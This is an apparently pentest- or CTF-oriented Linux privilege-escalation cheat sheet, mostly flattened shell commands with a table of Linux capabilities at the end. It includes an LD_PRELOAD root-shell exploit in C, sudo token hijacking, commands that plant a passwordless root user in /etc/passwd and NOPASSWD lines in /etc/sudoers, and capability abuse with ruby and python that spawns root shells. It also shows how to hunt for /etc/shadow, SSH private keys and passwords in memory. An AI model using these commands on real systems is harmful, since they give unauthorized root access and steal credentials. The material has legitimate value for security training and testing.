Manual checks can helpunderstand way more how attacks work. Check this out !
Walkthrough
SUDO
# check sudo version for exploitssudo-V|grepβSudoverβ# check rightssudo-l# gtfobins !# sudo LD_PRELOADDefaultsenv_keep+=LD_PRELOAD# COMPILE /tmp/exploit.c :#include <stdio.h>#include <sys/types.h>#include <stdlib.h>#include <unistd.h>void_init() {unsetenv("LD_PRELOAD");setgid(0);setuid(0);system("/bin/sh");}# with :gcc-fPIC-shared-oshell.soshell.c-nostartfiles# Execute any binary with the LD_PRELOAD to spawn a shell : sudoLD_PRELOAD=<full_path_to_so_file><program>sudoLD_PRELOAD=/tmp/shell.sofind# sudo_inject | https://github.com/nongiach/sudo_inject# requirements : # Ptrace fully enabled (/proc/sys/kernel/yama/ptrace_scope == 0).# Current user must have living process that has a valid sudo token with the same uid.sudowhatevershexploit.sh# waitsudo-i# root !
uname-alsb_release-acat/proc/version/etc/issue/etc/*-release# check for cves
Files, binaries and passwords
ls-la~/ls-la/var/mail/home/*//var/spool/mail/home/*/.bash_history/var# check those files for hashescat/etc/passwdcat/etc/shadowls-la/etc/passwd/etc/shadow# can we write to the .bashsrc file ? if so, can be executed when us logs inls-la/root/.bashrcls-la/home/*/.bashrclocate.bashrcfind/-name.bashrc-xdev2>/dev/null
Processes and ports
# something is running that we can exploit ?psaux|greproot# localhost open ports ?netstat-antup# any useful info in the main bash user files ?cat/etc/profilecat/etc/bashrccat~/.bash_profilecat~/.bashrccat~/.bash_logout
CronTabs & Scheduled jobs
# check for cronjobscrontab-lls-alh/var/spool/cronls-al/etc/|grepcron; ls-al/etc/cron*cat/etc/cron*cat/etc/at.allowcat/etc/at.denycat/etc/cron.allowcat/etc/cron.denycat/etc/crontabcat/etc/anacrontabcat/var/spool/cron/crontabs/root# PSPY to to see commands run by other users, cron jobs, etc. in real time./pspy>pspy-out.txt
File systems
# unmounted file-systems ?cat/etc/fstab# If NFS is open, check if the target has any open NFS shares, if it does, then mount it to your filesystemshowmount-eX.X.X.XmountX.X.X.X://tmp/mount1
# can we hijack any shell sessions ?tmuxlstmuxattach-ttmuxnamescreen-lsscreen-drsessionnamebyobulist-session
Memory
# some services can save clear-text creds in memorypsaux# grab the process idgdb-pSERVICE; gdbPROCID# in memory passwordsstrings/dev/mem-n10|grep-iPASS
# Files containing passwordsgrep--color=auto-rnw'/'-ie"PASSWORD"--color=always2>/dev/nullfind.-typef-execgrep-i-I"PASSWORD"{}/dev/null \;# sshfind/-nameauthorized_keys2>/dev/nullfind/-nameid_rsa2>/dev/null# World writable files on the systemfind/-writable!-user`whoami`-typef!-path"/proc/*"!-path"/sys/*"-execls-al{} \; 2>/dev/nullfind/-perm-2-typef2>/dev/nullfind/!-path"*/proc/*"-perm-2-typef-print2>/dev/null# writable /etc/passwd# add :echo'dummy::0:0::/root:/bin/bash'>>/etc/passwdsu-dummy# writable /etc/sudoersecho"username ALL=(ALL:ALL) ALL">>/etc/sudoers# use SUDO without passwordecho"username ALL=(ALL) NOPASSWD: ALL">>/etc/sudoersecho"username ALL=NOPASSWD: /bin/bash">>/etc/sudoers# World executable folderfind/-perm-ox-typed2>/dev/null# World writable and executable foldersfind/ \( -perm-ow-perm-ox \) -typed2>/dev/null
SUID / SGID / GUID
# SUID / SGIDfind/-perm-u=s-typef2>/dev/null|xargsls-lfind/-perm-4000-typef-execls-la{}2>/dev/null \;find/-uid0-perm-4000-typef2>/dev/nullfind/-perm-g=s-typef2>/dev/null|xargsls-lfind/-userroot-perm-6000-execls-ldb{} \; 2>/dev/null# Look for any binaries that seem odd. Any binaries running from a users home directory?# Check the version of any odd binaries and see if there are any public exploits that can be used to gain root# SUID PATHecho $PATHenv|grepPATHprint $PATH
Capabilities
Check for files withcapabilities. These may allow us to access restricted files or directories. Having the capability=epmeans the binary has all the capabilities.
/usr/bin/getcap-r/usr/bingetcap-r/2>/dev/null## Interesting capabilitiesgetcapopenssl/usr/bin/opensslopenssl=ep# the following capabilities can be used in order to upgrade your current privileges.cap_dac_read_search# read anythingcap_setuid+ep# setuid# EXAMPLES# 1# linpeas /usr/local/bin/ruby = cap_chown+ep echo'File.chown(<User ID>, nil, "/etc/shadow")'>exploit.rbrubyexploit.rbchmod777/etc/shadownano/etc/shadow# 2# cap_setuid+ep python2.7python2.7-c'import os; os.setuid(0); os.system("/bin/sh")'sh-5.0#iduid=0(root) gid=1000(swissky)
Capabilities list
Capabilities name
Description
CAP_AUDIT_CONTROL
Allow to enable/disable kernel auditing
CAP_AUDIT_WRITE
Helps to write records to kernel auditing log
CAP_BLOCK_SUSPEND
This feature can block system suspends
CAP_CHOWN
Allow user to make arbitrary change to files UIDs and GIDs
CAP_DAC_OVERRIDE
This helps to bypass file read, write and execute permission checks
CAP_DAC_READ_SEARCH
This only bypasses file and directory read/execute permission checks
CAP_FOWNER
This enables bypass of permission checks on operations that normally require the filesystem UID of the process to match the UID of the file
CAP_KILL
Allow the sending of signals to processes belonging to others
CAP_SETGID
Allow changing of the GID
CAP_SETUID
Allow changing of the UID
CAP_SETPCAP
Helps to transferring and removal of current set to any PID
CAP_IPC_LOCK
This helps to lock memory
CAP_MAC_ADMIN
Allow MAC configuration or state changes
CAP_NET_RAW
Use RAW and PACKET sockets
CAP_NET_BIND_SERVICE
SERVICE Bind a socket to internet domain privileged ports